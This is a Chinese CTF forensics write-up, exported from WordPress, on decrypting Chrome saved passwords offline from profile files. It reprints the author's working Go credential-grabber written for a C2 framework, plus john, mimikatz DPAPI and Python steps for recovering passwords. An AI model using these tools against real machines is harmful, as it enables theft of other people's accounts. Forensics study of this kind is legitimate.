{"id":2978,"date":"2023-11-24T17:52:42","date_gmt":"2023-11-24T09:52:42","guid":{"rendered":"https:\/\/fushuling.com\/?p=2978"},"modified":"2024-02-05T00:45:58","modified_gmt":"2024-02-04T16:45:58","slug":"%e5%a6%82%e4%bd%95%e4%bb%85%e9%80%9a%e8%bf%87chrome%e9%85%8d%e7%bd%ae%e6%96%87%e4%bb%b6%e7%a6%bb%e7%ba%bf%e8%bf%98%e5%8e%9f%e5%af%86%e7%a0%81","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/11\/24\/%e5%a6%82%e4%bd%95%e4%bb%85%e9%80%9a%e8%bf%87chrome%e9%85%8d%e7%bd%ae%e6%96%87%e4%bb%b6%e7%a6%bb%e7%ba%bf%e8%bf%98%e5%8e%9f%e5%af%86%e7%a0%81\/","title":{"rendered":"\u5982\u4f55\u4ec5\u901a\u8fc7Chrome\u914d\u7f6e\u6587\u4ef6\u79bb\u7ebf\u8fd8\u539f\u5bc6\u7801"},"content":{"rendered":"\n

\u6253\u4e00\u4e2a\u4e0d\u592a\u597d\u8bf4\u540d\u5b57\u7684\u6bd4\u8d5b\u7684\u51b3\u8d5b\u7684\u65f6\u5019\u9047\u5230\u4e00\u9053\u6d41\u91cf\u9898\uff0c\u5bfc\u51fa\u6587\u4ef6\u6709\u4e00\u4e2asecret.zip\uff0c\u91cc\u9762\u662f\u4e00\u4e9bchrome\u7684\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u7136\u540e\u8fd8\u7ed9\u4e86\u4e00\u4e2aflag.zip\uff0c\u6709\u5bc6\u7801\uff0c\u4eceLogin Data\u91cc\u53ef\u4ee5\u770b\u5230\u7528\u6237\u6709\u4e00\u6761\u767b\u5f55\u4fe1\u606f\uff0c\u8d26\u53f7\u662fpass\uff0c\u5bc6\u7801\u662f\u52a0\u5bc6\u8fc7\u7684\uff0c\u5f88\u660e\u663eflag.zip\u7684\u89e3\u538b\u5bc6\u7801\u5c31\u662f\u8fd9\u4e2a\u7528\u6237\u7684\u5bc6\u7801\uff0c\u6211\u4eec\u9700\u8981\u628a\u5b83\u8fd8\u539f\u51fa\u6765\u3002<\/p>\n\n\n\n

\u4e8b\u5b9e\u4e0a\u5728\u5927\u4e00\u5199C2\u7684\u65f6\u5019\u6211\u5199\u7684\u6293\u5bc6\u7801\u63d2\u4ef6\u5c31\u662f\u6765\u6293chrome\u5bc6\u7801\u7684\uff1a<\/p>\n\n\n\n

package main\n\nimport (\n\t\"bufio\"\n\t\"crypto\/aes\"\n\t\"crypto\/cipher\"\n\t\"database\/sql\"\n\t\"encoding\/base64\"\n\t\"fmt\"\n\t\"io\/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"github.com\/tidwall\/gjson\"\n\n\t_ \"github.com\/mattn\/go-sqlite3\"\n)\n\nconst (\n\tqueryChromiumLogin = `SELECT origin_url, username_value, password_value FROM logins`\n)\n\ntype DATA_BLOB struct {\n\tcbData uint32\n\tpbData *byte\n}\n\nfunc NewBlob(d []byte) *DATA_BLOB {\n\tif len(d) == 0 {\n\t\treturn &DATA_BLOB{}\n\t}\n\treturn &DATA_BLOB{\n\t\tpbData: &d[0],\n\t\tcbData: uint32(len(d)),\n\t}\n}\n\nfunc (b *DATA_BLOB) ToByteArray() []byte {\n\td := make([]byte, b.cbData)\n\tcopy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])\n\treturn d\n}\n\nfunc WinDecypt(data []byte) ([]byte, error) {\n\tdllcrypt32 := syscall.NewLazyDLL(\"Crypt32.dll\")\n\tfmt.Println(\"dllcrypt32:\", dllcrypt32)\n\tdllkernel32 := syscall.NewLazyDLL(\"Kernel32.dll\")\n\tfmt.Println(\"dllkernel32:\", dllkernel32)\n\tprocDecryptData := dllcrypt32.NewProc(\"CryptUnprotectData\")\n\tfmt.Println(\"procDecryptData:\", procDecryptData)\n\tprocLocalFree := dllkernel32.NewProc(\"LocalFree\")\n\tfmt.Println(\"procLocalFree:\", procLocalFree)\n\n\tvar outblob DATA_BLOB\n\tr, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))\n\tif r == 0 {\n\t\treturn nil, err\n\t}\n\tdefer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))\n\treturn outblob.ToByteArray(), nil\n}\n\nfunc AesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tblockMode, _ := cipher.NewGCM(block)\n\torigData, err := blockMode.Open(nil, nounce, crypted, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn origData, nil\n}\n\nfunc GetMaster(key_file string) ([]byte, error) {\n\tres, _ := ioutil.ReadFile(key_file)\n\tmaster_key, err := base64.StdEncoding.DecodeString(gjson.Get(string(res), \"os_crypt.encrypted_key\").String())\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\t\/\/ remove string: DPAPI\n\tmaster_key = master_key[5:]\n\t\/\/ master_key =\n\tmaster_key, err = WinDecypt(master_key)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\tfmt.Print(master_key)\n\treturn master_key, nil\n}\n\nfunc decrypt_password(pwd, master_key []byte) ([]byte, error) {\n\tnounce := pwd[3:15]\n\tpayload := pwd[15:]\n\tplain_pwd, err := AesGCMDecrypt(payload, master_key, nounce)\n\tif err != nil {\n\t\treturn []byte{}, nil\n\t}\n\treturn plain_pwd, nil\n}\n\nfunc main() {\n\toutput, _ := os.OpenFile(\"test.txt\", os.O_RDWR|os.O_APPEND|os.O_CREATE, 0664)\n\tdefer output.Close()\n\twriter := bufio.NewWriter(output)\n\n\tfile := os.Getenv(\"LOCALAPPDATA\")\n\tfmt.Println(os.Getenv(\"LOCALAPPDATA\"))\n\tfile += \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\\"\n\tfile += \"Login Data\"\n\n\tdb, err := sql.Open(\"sqlite3\", file)\n\tif err != nil {\n\t\tlog.Fatal(\"1:\", err)\n\t}\n\tdefer db.Close()\n\n\trows, err := db.Query(queryChromiumLogin)\n\tif err != nil {\n\t\tlog.Fatal(\"2:\", err)\n\t}\n\tdefer rows.Close()\n\tkey_file := os.Getenv(\"USERPROFILE\") + \"\/AppData\/Local\/Google\/Chrome\/User Data\/Local State\"\n\n\tfor rows.Next() {\n\t\tvar origin_url, username, passwdEncrypt string\n\t\terr = rows.Scan(&origin_url, &username, &passwdEncrypt)\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"3:\", err)\n\t\t}\n\t\tpassword := []byte(passwdEncrypt)\n\t\tmaster_key, _ := GetMaster(key_file)\n\n\t\tvar plaintext []byte\n\n\t\tif master_key != nil {\n\t\t\tplaintext, _ = decrypt_password(password, master_key)\n\t\t\tfmt.Println(origin_url, username, string(plaintext))\n\n\t\t\twriter.WriteString(origin_url + \" | \" + username + \" | \" + string(plaintext))\n\t\t} else {\n\t\t\tplaintext, _ = WinDecypt(password)\n\t\t\tfmt.Println(origin_url, username, string(plaintext))\n\t\t}\n\n\t}\n\terr = rows.Err()\n\tif err != nil {\n\t\tlog.Fatal(\"4:\", err)\n\t}\n\twriter.Flush()\n}\n<\/code><\/pre>\n\n\n\n
\u672c\u5730\u80fd\u5b8c\u7f8e\u8dd1\u901a\u5e76\u6210\u529f\u6293\u53d6\u5bc6\u7801\uff0c\u672c\u8d28\u4e0aChrome\u662f\u7528\u4e86AES\u5bf9\u5bc6\u7801\u8fdb\u884c\u4e86\u4fdd\u62a4\uff0c\u4f46\u5982\u679c\u4f60\u4ee5\u4e3a\u7528\u914d\u7f6e\u6587\u4ef6\u8fd8\u539f\u5bc6\u7801\u53ea\u9700\u8981\u7b80\u7b80\u5355\u5355\u66ff\u6362\u4e00\u4e0b\u8def\u5f84\u5c31\u53ef\u4ee5\u90a3\u5c31\u5927\u9519\u7279\u9519\u4e86\u3002\u73b0\u5728\u7f51\u4e0a\u8bb2\u7684\u5927\u90e8\u5206\u6293chrome\u90fd\u662f\u8bb2\u7684\u5982\u4f55\u6293\u672c\u673a\u7684chrome\u5bc6\u7801\uff0c\u800c\u5e76\u4e0d\u662f\u5149\u9760\u4e00\u4e2a\u5176\u4ed6\u673a\u5668\u7684chrome\u7684\u914d\u7f6e\u6587\u4ef6\u5c31\u53ef\u4ee5\u628a\u5bc6\u7801\u8fd8\u539f\u51fa\u6765\uff0c\u56e0\u4e3a\u8fd9\u6d89\u53ca\u5230\u4e00\u4e2a\u95ee\u9898\uff0c\u5fae\u8f6f\u4f7f\u7528\u4e86DPAPI\u5bf9\u6570\u636e\u8fdb\u884c\u4fdd\u62a4\uff1a<\/p>\n\n\n\n
\n
<\/p>\nData Protection Application Programming Interface(\u6570\u636e\u4fdd\u62a4API)
DPAPI\u662fWindows\u7cfb\u7edf\u7ea7\u5bf9\u6570\u636e\u8fdb\u884c\u52a0\u89e3\u5bc6\u7684\u4e00\u79cd\u63a5\u53e3\u65e0\u9700\u81ea\u5b9e\u73b0\u52a0\u89e3\u5bc6\u4ee3\u7801\u5fae\u8f6f\u5df2\u7ecf\u63d0\u4f9b\u4e86\u7ecf\u8fc7\u9a8c\u8bc1\u7684\u9ad8\u8d28\u91cf\u52a0\u89e3\u5bc6\u7b97\u6cd5\u63d0\u4f9b\u4e86\u7528\u6237\u6001\u7684\u63a5\u53e3\u5bf9\u5bc6\u94a5\u7684\u63a8\u5bfc\u5b58\u50a8\u6570\u636e\u52a0\u89e3\u5bc6\u5b9e\u73b0\u900f\u660e\u5e76\u63d0\u4f9b\u8f83\u9ad8\u7684\u5b89\u5168\u4fdd\u8bc1
DPAPI\u63d0\u4f9b\u4e86\u4e24\u4e2a\u7528\u6237\u6001\u63a5\u53e3CryptProtectData<\/code>\u52a0\u5bc6\u6570\u636eCryptUnprotectData<\/code>\u89e3\u5bc6\u6570\u636e\u52a0\u5bc6\u540e\u7684\u6570\u636e\u7531\u5e94\u7528\u7a0b\u5e8f\u8d1f\u8d23\u5b89\u5168\u5b58\u50a8\u5e94\u7528\u65e0\u9700\u89e3\u6790\u52a0\u5bc6\u540e\u7684\u6570\u636e\u683c\u5f0f\u3002\u4f46\u662f\u52a0\u5bc6\u540e\u7684\u6570\u636e\u5b58\u50a8\u9700\u8981\u4e00\u5b9a\u7684\u673a\u5236\u56e0\u4e3a\u8be5\u6570\u636e\u53ef\u4ee5\u88ab\u5176\u4ed6\u4efb\u4f55\u8fdb\u7a0b\u7528\u6765\u89e3\u5bc6\u5f53\u7136CryptProtectData<\/code>\u4e5f\u63d0\u4f9b\u4e86\u7528\u6237\u8f93\u5165\u989d\u5916\u6570\u636e\u6765\u53c2\u4e0e\u5bf9\u7528\u6237\u6570\u636e\u8fdb\u884c\u52a0\u5bc6\u7684\u53c2\u6570\u4f46\u4f9d\u7136\u65e0\u6cd5\u653e\u4e8e\u66b4\u529b\u7834\u89e3\u3002<\/cite><\/blockquote>\n\n\n\n
DAPI\u4f7f\u7528\u5f53\u524d\u7528\u6237\u7684\u5bc6\u7801\u6765\u4fdd\u62a4\u6570\u636e\uff0c\u53ea\u6709\u767b\u5f55\u51ed\u636e\u4e0e\u52a0\u5bc6\u6570\u636e\u7684\u7528\u6237\u76f8\u5339\u914d\u7684\u7528\u6237\u624d\u80fd\u89e3\u5bc6\u6570\u636e\uff0c\u4e5f\u56e0\u6b64\u6293\u672c\u673a\u5bc6\u7801\u6bd4\u8f83\u7b80\u5355\uff0c\u56e0\u4e3a\u6211\u4eec\u5c31\u662f\u8fd9\u4e2a\u7528\u6237\uff0c\u6240\u4ee5\u80fd\u591f\u6bd4\u8f83\u5bb9\u6613\u901a\u8fc7DAPI\uff0c\u7f51\u4e0a\u7684\u6587\u7ae0\u5e94\u8be5\u4e5f\u4f1a\u63d0\u5230\u5982\u679c\u4f60\u60f3\u6293\u672c\u673a\u5176\u4ed6\u7528\u6237\u7684chrome\u5bc6\u7801\u5fc5\u987b\u7ba1\u7406\u5458\u6743\u9650\uff0c\u5c31\u662f\u8fd9\u4e2a\u539f\u56e0\uff0cDAPI\u6709\u4e00\u4e2a\u7528\u6237\u5339\u914d\u7684\u8fc7\u7a0b\u3002\u800c\u6211\u4eec\u73b0\u5728\u6ca1\u6709\u5bc6\u7801\uff0c\u53ea\u6709\u5355\u7eaf\u7684\u5176\u4ed6\u673a\u5668\u4e0achrome\u7684\u914d\u7f6e\u6587\u4ef6\u8be5\u600e\u4e48\u89e3\u5bc6\u5462\uff0c\u8fd9\u5c31\u662f\u672c\u7bc7\u6587\u7ae0\u63a2\u8ba8\u7684\u4e3b\u9898\u3002<\/p>\n\n\n\n
\u7528\u6237\u7684\u4e3b\u5bc6\u94a5\u7528\u4f5c\u89e3\u5bc6 DPAPI blob \u65f6\u7684\u4e3b\u5bc6\u94a5\uff0c\u53d7\u7528\u6237\u5bc6\u7801\u4fdd\u62a4\uff0c\u5e76\u52a0\u5bc6\u5b58\u50a8\u5728\u6587\u4ef6 AppData\\Roaming\\Microsoft\\Protect\\<SID> \u4e2d\uff0c\u5176\u4e2dSID<\/strong>\u662f\u7528\u6237\uff0c\u5728windows\u4e0b\u8fd9\u4e2a\u6587\u4ef6\u662f\u9ed8\u8ba4\u9690\u85cf\u7684\uff0c\u5728linux\u4e0b\u6211\u4eec\u53ef\u4ee5\u770b\u5230SID\u76ee\u5f55\u4e0b\u8fd8\u6709\u4e00\u4e2a\u4e1c\u897f\uff0c\u8fd9\u4e2a\u5176\u5b9e\u5c31\u662fmasterkey<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u9996\u5148\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528DPAPImk2john.py<\/a>\u63d0\u53d6\u7528\u6237\u7684\u54c8\u5e0c\u503c<\/p>\n\n\n\n
python3 DPAPImk2john.py --sid=\"S-1-5-21-440314382-4097440215-1133304494-1002\" --masterkey=\"4b730283-9406-461f-ac8d-689738b97400\" --context=\"local\" > hash.txt<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528john\u7206\u7834\u5bc6\u7801<\/p>\n\n\n\n
john hash.txt --wordlist=\/usr\/share\/wordlists\/rockyou.txt <\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5f97\u5230\u5bc6\u7801\u662fbreakers\uff0c\u6709\u4e86\u8fd9\u4e2a\u5bc6\u7801\u6211\u4eec\u5c31\u4ee5\u901a\u8fc7DAPI\u6821\u9a8c\u4e86<\/p>\n\n\n\n
\u505a\u6cd5\u4e00\u00b7\u624b\u52a8\u8fd8\u539f<\/h2>\n\n\n\n
\u63a5\u7740\u5148\u5bf9Local State\u8fdb\u884c\u4e00\u6b21\u89e3\u7801\uff0c\u83b7\u5f97\u80fd\u88ab\u6b63\u5e38\u8bc6\u522b\u7684dec_data<\/p>\n\n\n\n
import json\nimport base64\n\nfh = open('AppData\/Local\/Google\/Chrome\/User Data\/Local State', 'rb')\nencrypted_key = json.load(fh)\n\nencrypted_key = encrypted_key['os_crypt']['encrypted_key']\n\ndecrypted_key = base64.b64decode(encrypted_key)\n\nopen(\"dec_data\",'wb').write(decrypted_key[5:])<\/code><\/pre>\n\n\n\n
\u7136\u540e\u4f7f\u7528mimikatz\u89e3\u5bc6\u4e3b\u5bc6\u94a5<\/p>\n\n\n\n
dpapi::masterkey \/in:4b730283-9406-461f-ac8d-689738b97400 \/sid:S-1-5-21-440314382-4097440215-1133304494-1002 \/password:breakers \/protected<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u83b7\u5f97\u4e86key\uff0c\u63a5\u7740\u7528key\u89e3\u5bc6DPAPI blob\u83b7\u5f97AES\u79c1\u94a5\u5e76\u4fdd\u5b58\u5230aes.dec<\/p>\n\n\n\n
dpapi::blob \/masterkey:93fde93933480b9125aa4817730ad96ad5851e5d0b5c11cc70aab4e8b55ca0f426a366e5de5cc8237ec1a5f73b0d5df8c5b11a2c8409df92e2b3d34a9914781d \/in:\"dec_data\" \/out:aes.dec<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u6211\u4eec\u5c31\u53ef\u4ee5\u7528AES\u79c1\u94a5\u6210\u529f\u8fd8\u539f\u5bc6\u7801<\/p>\n\n\n\n
import os\nimport re\nimport sys\nimport json\nimport base64\nimport sqlite3\nimport win32crypt\nfrom Cryptodome.Cipher import AES\nimport shutil\nimport csv\n\ndef get_secret_key():\n    secret_key = open('aes.dec', 'rb').read()\n    return secret_key\n\ndef decrypt_payload(cipher, payload):\n    return cipher.decrypt(payload)\n\ndef generate_cipher(aes_key, iv):\n    return AES.new(aes_key, AES.MODE_GCM, iv)\n\ndef decrypt_password(ciphertext, secret_key):\n    try:\n        initialisation_vector = ciphertext[3:15]\n        encrypted_password = ciphertext[15:-16]\n        cipher = generate_cipher(secret_key, initialisation_vector)\n        print(secret_key)\n        decrypted_pass = decrypt_payload(cipher, encrypted_password)\n        decrypted_pass = decrypted_pass.decode()\n        return decrypted_pass\n    except Exception as e:\n        print(\"%s\"%str(e))\n        print(\"[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.\")\n        return \"\"\n\ndef get_db_connection(chrome_path_login_db):\n    try:\n        return sqlite3.connect(chrome_path_login_db)\n    except Exception as e:\n        print(\"%s\"%str(e))\n        print(\"[ERR] Chrome database cannot be found\")\n        return None\n\nif __name__ == '__main__':\n    secret_key = get_secret_key()\n    chrome_path_login_db = r\"Login Data\"\n    conn = get_db_connection(chrome_path_login_db)\n    if(secret_key and conn):\n        cursor = conn.cursor()\n        cursor.execute(\"SELECT action_url, username_value, password_value FROM logins\")\n        for index,login in enumerate(cursor.fetchall()):\n            url = login[0]\n            username = login[1]\n            ciphertext = login[2]\n            decrypted_password = decrypt_password(ciphertext, secret_key)\n            print(\"Sequence: %d\"%(index))\n            print(\"URL: %s\\nUser Name: %s\\nPassword: %s\\n\"%(url,username,decrypted_password))\n            print(\"*\"*50)\n            cursor.close()\n            conn.close()<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
981f4821-2cc4-459e-8528-4b2c111a7b52<\/code><\/pre>\n\n\n\n
\u505a\u6cd5\u4e8c\u00b7\u5de5\u5177\u4e00\u628a\u68ad<\/h2>\n\n\n\n
\u524d\u9762\u7684\u8fc7\u7a0b\u5176\u5b9e\u5f88\u660e\u663e\u662f\u6bd4\u8f83\u673a\u68b0\u5316\u7684\uff0c\u80af\u5b9a\u6709\u4ec0\u4e48\u5de5\u5177\u80fd\u4e00\u7ad9\u5f0f\u628a\u5bc6\u7801\u89e3\u51fa\u6765\uff0c\u8fd9\u91cc\u63a8\u8350\u5de5\u5177chromepass<\/a><\/p>\n\n\n\n
\u4f7f\u7528chromepass\u80fd\u5bfc\u51fa\u5176\u4ed6\u7528\u6237\u7684\u5bc6\u7801\uff0c\u4f46\u6587\u4ef6\u7684\u683c\u5f0f\u6709\u8bb2\u7a76\uff0c\u5fc5\u987b\u662fwindows\u7684\u539f\u751f\u8def\u5f84\uff0c\u6211\u8fd9\u91cc\u662f\uff1a<\/p>\n\n\n\n
C:\\Users\\user\\Desktop\\test\\AppData\\Local\\Google\\Chrome\\User Data\\Default\nC:\\Users\\user\\Desktop\\test\\AppData\\Roaming\\Microsoft\\Protect\\<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u70b9\u5f00chromepass\uff0c\u70b9\u51fb\u5de6\u4e0a\u89d2\u7684file\uff0c\u518d\u70b9\u51fbAdvanced Options ,profile path\u9009\u6211\u4eec\u521b\u7684C:\\Users\\user\\Desktop\\test\uff0c\u5bc6\u7801\u9009\u62e9\u7206\u51fa\u6765\u7684breakers\uff0c\u518d\u9009\u62e9Local State\u7684\u8def\u5f84<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u70b9\u51fbok\uff0c\u53ef\u4ee5\u770b\u5230\u5bc6\u7801\u5df2\u7ecf\u6210\u529f\u89e3\u51fa<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u6700\u7ec8\u5927\u529f\u544a\u6210\uff0c\u7528\u8fd9\u4e2a\u5bc6\u7801\u6210\u529f\u89e3\u5f00flag.zip<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u89e3\u51fa\u6765\u662f<\/p>\n\n\n\n
12yHhv2rrFKkv7OoeMWd5mJ1UMgCqERIAQ8G0jjwnNiSKw1UBMXr7yfs9JEQlVicfm2belD6sdz7<\/code><\/pre>\n\n\n\n
base62->base64->rot13<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u9898\u76ee\u94fe\u63a5\uff1a<\/p>\n\n\n\n
https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/download.zip<\/a><\/p>\n\n\n\n
\u53c2\u8003\uff1a<\/p>\n\n\n\n
https:\/\/zhuanlan.zhihu.com\/p\/33388981<\/a><\/p>\n\n\n\n
https:\/\/www.hackthebox.com\/blog\/seized-ca-ctf-2022-forensics-writeup#challenge<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
\u6253\u4e00\u4e2a\u4e0d\u592a\u597d\u8bf4\u540d\u5b57\u7684\u6bd4\u8d5b\u7684\u51b3\u8d5b\u7684\u65f6\u5019\u9047\u5230\u4e00\u9053\u6d41\u91cf\u9898\uff0c\u5bfc\u51fa\u6587\u4ef6\u6709\u4e00\u4e2asecret.zip\uff0c\u91cc\u9762\u662f\u4e00\u4e9bchrome […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2978","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2978","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=2978"}],"version-history":[{"count":7,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2978\/revisions"}],"predecessor-version":[{"id":2997,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/2978\/revisions\/2997"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=2978"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=2978"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=2978"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}